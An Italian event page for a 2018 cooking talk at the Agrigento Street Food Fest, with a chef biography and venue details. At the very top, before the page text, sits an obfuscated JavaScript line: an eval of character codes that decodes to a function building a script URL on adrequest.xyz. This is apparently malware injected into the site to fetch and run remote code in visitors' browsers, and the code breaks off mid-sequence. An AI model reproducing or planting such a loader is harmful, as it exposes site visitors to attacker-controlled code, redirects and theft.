var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 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La cucina della Valle dei Templi fra tradizione e modernità

Ago 3, 2018 @ 19:00 - 20:00

con lo chef Vincenzo Santalucia (Ristorante la Scala)
presenta Edoardo Raspelli

 

La Valle Dei Templi di Agrigento è un catalizzatore di tradizioni gastronomiche, non solo per i contributi delle dominazioni che qui si sono avvicendate per secoli, ma anche per la sua ubicazione geografica che ne fa strategico crocevia di ricette ispirate dal mare, dall’entroterra e dalle tradizioni delle diverse province. Ricadono su questo territorio importanti materie prime, come le arance di Ribera, l’uva di Canicattì, il cantalupo di Licata e le pesche di Bivona, ma ampia è anche la disponibilità di specie ittiche, formaggi e carni. Menfi, Montevago, Sant’Angelo: ogni piccolo centro ha i suoi piatti della tradizione, e Chef Vincenzo Santalucia stesso ha un retaggio familiare da affrontare, fatto di insalate di capperi preparate dalle zie, pesce salato del nonno, pomodori e fichi essiccati al sole nel giardino d’infanzia. Come farà Chef Santalucia a sposare tutta questa storia con il futuro? Lo scopriremo insieme assaggiando una pietanza da lui preparata, il Cannolo di Parmigiana.

 

Chef Vincenzo Santalucia (Ristorante La Scala – Agrigento, Sicilia)

Il Ristorante La Scala è il punto più alto della vertiginosa ascesa di Chef Vincenzo Santalucia, che nel suo tempio del gusto di via Atena 72, Agrigento, erige un panorama culinario sorretto dalle colonne della tradizione siciliana e della qualità delle materie prime. Un’arte che non disdegna improvvise pennellate di modernità, appresa con pazienza e senso del sacrificio ricoprendo diversi ruoli nelle cucine di importanti hotel toscani e sulle dolomiti. Sono luoghi in cui ha potuto conoscere materie prime che svettano per tipicità, anche se è ancora più a ritroso nel tempo, da qualche parte nella sua infanzia, nelle vendemmie tra le viti di famiglia o nelle sessioni di salatura del pesce in compagnia del nonno, che si nasconde la vocazione della sua cucina per sapori grintosi, veri, appartenenti alla memoria dell’Isola.

Dettagli

Data:
Ago 3, 2018
Ora:
19:00 - 20:00
Categorie Evento:
, ,

Luogo

Spazio Gourmet
Lungomare
Agrigento, Italia

Organizzatore

Organizzatore
Telefono:
321654987
Email:
info@agrigentostreetfoodfest.it
Sito web:
https://agrigentostreetfoodfest.it/